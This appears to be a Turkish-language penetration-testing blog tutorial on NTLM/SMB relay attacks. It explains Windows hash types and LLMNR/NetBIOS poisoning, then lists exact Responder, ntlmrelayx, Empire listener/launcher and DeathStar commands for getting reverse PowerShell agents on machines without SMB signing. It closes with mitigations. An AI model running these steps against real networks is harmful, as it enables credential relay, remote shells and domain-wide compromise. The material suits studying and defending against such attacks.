NTLM ve SMB Relay Atağı
NTLMv1 ve NTLMv2 hash bilgileri ile smb relay yöntemi kullanılarak hash kırmaya gerek kalmadan windows bilgisayarlarda oturum açabiliriz.
Konunun daha iyi anlaşılabilmesi için öncelikle Windows tarafından kullanılan hash versiyonları konusuna değinmek gerekiyor.
LM vs NT vs NTLM
Öncelikle LM ve NT Hash windows bilgisayarlarda SAM dosyasında tutulur. Active Directory sunucusunda ise bu hashler NTDS.dit dosyasında tutulur. LM hash Windows Vista ve Windows Server 2008 işletim sistemlerinden itibaren varsayılan olarak kullanılmıyor, onun yerine NT Hash kullanılıyor. Yani NT Hash LM’in yeni versiyonu ve bu iki hash birbirine benzer amaçla kullanılıyor.
NTLM Hash ise LM ve NT Hash versiyonlarından tamamen farklı. NTLMv1 ve NTLMv2 şeklinde versiyonları bulunuyor. Genellikle NTLM ile NT Hash birbiriyle karıştırılıyor fakat aynı şey değiller. NetNTLMv1 ve NetNTLMv2 ise NTLM ile aynı şeyi ifade ediyor. NTLM(yani NTLMv1, NTLMv2, NetNTLMv1, NetNTLMv2) network üzerinden erişim için kullanılıyor. SAM veya NTDS.dit dosyalarında tutulmuyor. Bu yüzden bu hash bilgileri Pass The Hash yöntemi ile kullanılamaz. Bu hash bilgilerinin kullanıldığı yöntem SMB Relay yöntemidir. LM ve NT Hash bilgilerini SAM ve SYSTEM dosyalarını kullanarak veya Mimikatz gibi uygulamalarla alabiliyoruz. Peki NTLM hashlerini nasıl alabiliriz? Cevap: Responder.
DC Authentication
Responder uygulamasına girmeden önce bir bilgisayar herhangi bir kaynağa ulaşırken( örneğin fileserver adında bir dosya sunucusu) Domain Controller tarafından nasıl yetkilendiriliyor ona kısaca bakalım.
Bir kullanıcı, dosya sunucusuna bağlanma isteği gönderir. Dosya sunucusu cevap olarak 16 byte uzunluğundaki bir challenge verisini kullanıcıya gönderir. Kullanıcı kendi parolasının hash’i ile bu challenge verisini şifreler ve kendi kullanıcı adı, challenge, şifrelenmiş veriyi dosya sunucusuna gönderir. Dosya sunucusu da aldığı bu bilgileri DC’ye gönderir ve doğrulamasını ister. DC bu kullanıcıya ait hash bilgisini NTDS.dit dosyasında tuttuğu için bu bilgiyi alır ve kullanıcının yaptığı gibi challenge verisini kullanıcı hash bilgisi ile şifreler. Çıkan sonucu kendisine gelen şifrelenmiş veri ile karşılaştırır ve aynı ise erişim izni verilir.
Biz bu normal akışı araya girerek istismar edeceğiz. Yani kullanıcı dosya sunucusuna bağlanmak istediğinde biz sanki dosya sunucusu gibi davranacağız ve dosya sunucusu ile ( veya başka bir bilgisayar) bağlantı kuran biz olacağız.
Bilgisayarın İsim Çözümlemesi
Peki kullanıcı ile dosya sunucusu arasına nasıl gireceğiz? Buradaki araya girme ARP zehirleme yöntemi ile yapılan atak türü değil. Bunu anlamak için de bilgisayarın isim çözümlemesi sırasında takip ettiği adımlara bakmamız gerekir.
Bilgisayar bağlanmak istediği bilgisayarın ismini çözümlerken(yani IP adresini bulurken) şu adımları takip eder:
1 DNS Cache’de arar.
2 Hosts Dosyasında arar.
3 DNS Sorgusu yapar.
4 LLMNR ve NetBios sorgusu yapar.
Görüldüğü üzere sadece son adıma gelindiğinde bizim için hedef olabiliyor. Bu senaryo ise genellikle bilgisayarın isminin yanlış yazılması(Örn: fileserver yerine fielserver) veya IP adresi ile erişim olduğunda gerçekleşiyor. Bu yüzden LLMNR/NetBIOS hash bilgisi yakalamamız bazen uzun süre beklememizi gerektirebilir. Hangi bilgisayar kullanıcısı ile oturum açılmış ise o kullanıcıya ait NTLM Hash bilgisi yakalanacak ve bu kullacının yetkisi dahilinde diğer bilgisayarlarda oturum açmamız başarılı olabilecek veya olamayacak. ( Bilgisayarını Domain Admin kullanıcısıyla açan ve oturum açmak için yetkisiz ikinci bir hesap kullanmayan sistem yöneticilerine duyurulur. Aynı duyuru tüm bilgisayarlarda local admin olarak aynı kullanıcı ve parola hesabını kullananlar için de geçerlidir.)
Responder Kullanımı
Kısaca yöntemi anlatmak gerekir ise Responder uygulaması ile LLMNR ve NetBIOS isteklerine sahte bir cevap gönderiyoruz. Cevap olarak ise kendi IP adresimi gönderiyoruz, yani sadece LLMR ve NetBIOS sorguları için araya giriyoruz. Daha sonra bu sorguyu gönderen bilgisayara bir challenge gönderiyoruz. O bilgisayar ise bize kullanıcı adı, bizim gönderdiğimiz challenge ve bu challenge ile kullanıcı parolasının hash halinin(yani NT Hash) karışımından oluşan bir cevap dönüyor. İşte bu bilgiyi biz diğer bilgisayarlarda oturum açmak için kullanabiliyoruz.
Bu senaryonun çalışması için bazı ön koşullar var. Örneğin hedef aldığımız bilgisayarda SMB signing özelliği kapalı olmalıdır. İyi haber, bu ayar kullanıcı windows işletim sistemlerinde varsayılan olarak kapalı geliyor. Kötü haber ise Domain Controller’da bu ayar varsayılan olarak açık geliyor. Yani bu yöntem daha çok kullanıcı bilgisayarlarına karşı kullanılabilir.
Ntlmrelayx Kullanımı
Eğer NTLM hash bilgisini yakalayabilirsek bunu 2 şekilde kullanabiliriz. Bir yöntem wordlist saldırısı ile hash kırmak. Bu yöntem bu yazının konusu değil. İkincisi ise Responder ile birlikte Ntlmrelayx kullarak hash kırmaya gerek kalmadan diğer bilgisayarlarda oturum açabilmek. Diğer bilgisayarlarda diyorum çünkü hash elde ettiğimiz bilgisayara karşı kullanılamıyor. Bu yöntem Pass The Hash yönteminde olduğu gibi hash alıp daha sonra bu hash ile atak yapmamıza olanak vermiyor. Yani Responder’a hash düştüğü anda Ntlmrelayx bunu o an kendisi gerçekleştiriyor, dolayısıyla bu hash’i kaydedip daha sonra deneyemeyiz. Bunun sebebi ise biz araya girdiğimizde bize bağlanmak isteyen bilgisayara gönderdiğimiz challenge bilgisini aslında biz de hedef bilgisayara bağlanmak isteyip ondan bize gelen challange bilgisinden alıyoruz. Bize bağlanmak isteyen bilgisayardan gelen cevap bilgisini ise yine hedef bilgisayara cevap olarak dönüyoruz. Bu yüzden bu işlemlerinin eş zamanlı olması gerekiyor.
Empire Framework
Ntmlrelayx çalıştırılırken parametre ile bir powershell komutu gönderiyoruz. Eğer başarılı bir şekilde login olunabilirse bu komut çalıştırılacak. Tahmin edeceğiniz üzere bu komut bize reverse bağlantı yapılmasını sağlıyor. Bunun için de Empire Framework kullanacağız. Empire üzerinde bir listener oluşturacağız. Bu listenera bağlantı yapması için gerekli powershell komutunu ise launcher ile hazırlayacağız.
Deathstar
Bir adım ötesinde ise bize Empire üzerinde bir agent düştüğünde o agent üzerinde manuel olarak çalıştırabileceğimiz komutları otomatik olarak yapan Deathstar aracını kullanacağız. Aslında bu işlemleri tek tek agentlara bağlanıp da yapabiliriz ama bunu kullanarak süreci otomatize etmiş olacağız.
İzlenecek Adımlar
1) SMB Signing False IP Listesini Oluştur
cme smb 172.16.100.0/24 — gen-relay-list targets.txt
2) Empire Framework API Başlat
./empire — rest — username bilal — password bilal
3) Empire Framework Listeners Oluştur
listeners
uselistener http
set Port 1234
set Host 172.16.100.200
execute
4) Listener için Laucher Oluştur
launcher powershell
5) SMB ve HTTP Kapatıp Responder Başlat
responder -I eth0
6) NTLM Relayi Powershell komutu ile Başlat
cd /usr/share/doc/python-impacket/examples/
/ntlmrelayx.py -tf /root/Desktop/targets.txt -c “powershell komutu”
7) Deathstar Başlat
./DeathStar.py -u bilal -p bilal
Bu adımları uyguladığım videoyu izleyebilirsiniz:
Bir süre çalıştıktan sonra herhangi bir bilgisayardan elde edilen credential bilgisi diğer bilgisayarlarda da denenecek ve başarılı olursa yeni bir agent açılacak. Test sonucunda elde edilen tüm agent bilgileri:
Nasıl Önlerim?
DC’de olduğu gibi kullanıcı bilgisayarlarında da SMB Signing özelliği aktif edilirse bu yöntem işe yaramaz. Ayrıca eğer kullanılmıyor ise LLMNR/NetBIOS isim çözümleme de devre dışı bırakılabilir. Bu durumda araya girme ihtimali ortadan kaldırılmış olur.